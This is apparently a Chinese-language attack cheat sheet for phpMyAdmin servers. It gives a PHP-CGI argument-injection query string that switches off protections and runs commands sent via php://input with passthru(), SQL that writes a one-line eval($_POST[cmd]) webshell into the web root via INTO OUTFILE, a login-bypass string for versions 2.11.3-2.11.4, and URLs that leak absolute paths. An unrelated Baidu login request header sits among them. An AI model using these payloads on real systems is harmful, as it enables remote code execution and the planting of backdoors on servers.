因为有些管理员将 phpmyadmin 的配置页面直接就放在了公网上,而这些页面不需要登陆认证,导致问题出现。
phpmyadmin/setup
有的甚至可以新建表等操作
有的版本 php在cgi模式下运行时能接受传递的参数,所以可以构造特别的代码。
%s?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation3Don -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.fo"rce_redirect=0 -d cgi.redirect_status_env=0 -n
关闭各种防护的参数,打开各种危险的参数,最后利用auto_prepend_file(或auto_append_file)这个参数把需要执行的系统命令传递过去了。
先看个post的请求头
POST /v2/api/?login HTTP/1.1
Host: passport.baidu.com
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:22.0) Gecko/20100101 Firefox/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://www.baidu.com/
Cookie: BAIDUID=6612027E4C1844B4AE58E1E48481A442:FG=1; HOSUPPORT=1
Connection: keep-alive
构造post请求代码
http://url/phpmyadmin/?-d allow_url_include=1 -d auto_prepend_file=php://input HTTP/1.1
url编码后 (完整的代码)
POST
http://url/phpmyadmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
HOST:
<?php
passthru(''); #要传递的命令
die(); #使之后的代码失效
?>
passthru('');
同 [exec()]函数类似, passthru() 函数 也是用来执行外部命令(command
)的。 当所执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数来替代 [exec()]或 [system()]函数。 常用来执行诸如 pbmplus 之类的可以直接输出图像流的命令。
die();
函数输出一条消息,并退出当前脚本。
数据库写入
Drop TABLE IF EXISTS temp; //删掉存在temp
Create TABLE temp(cmd text NOT NULL); //建立temp表,里面就一个cmd字段
Insert INTO temp (cmd) VALUES(''); //把一句话木马插入到temp表
Select cmd from temp into out file '网页物理路径/cmd.php'; //查询temp表中的一句话并把结果导入到cmd.php
Drop TABLE IF EXISTS temp; //删除temp
简化的写入命令
select '<? php eval($_POST[cmd]);?>' into outfile 'F:/wwwroot/eval.php';
2.11.3-2.11.4 版本万能密码漏洞
'localhost'@'@"
php爆绝对路径
phpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
phpMyAdmin/themes/darkblue_orange/layout.inc.php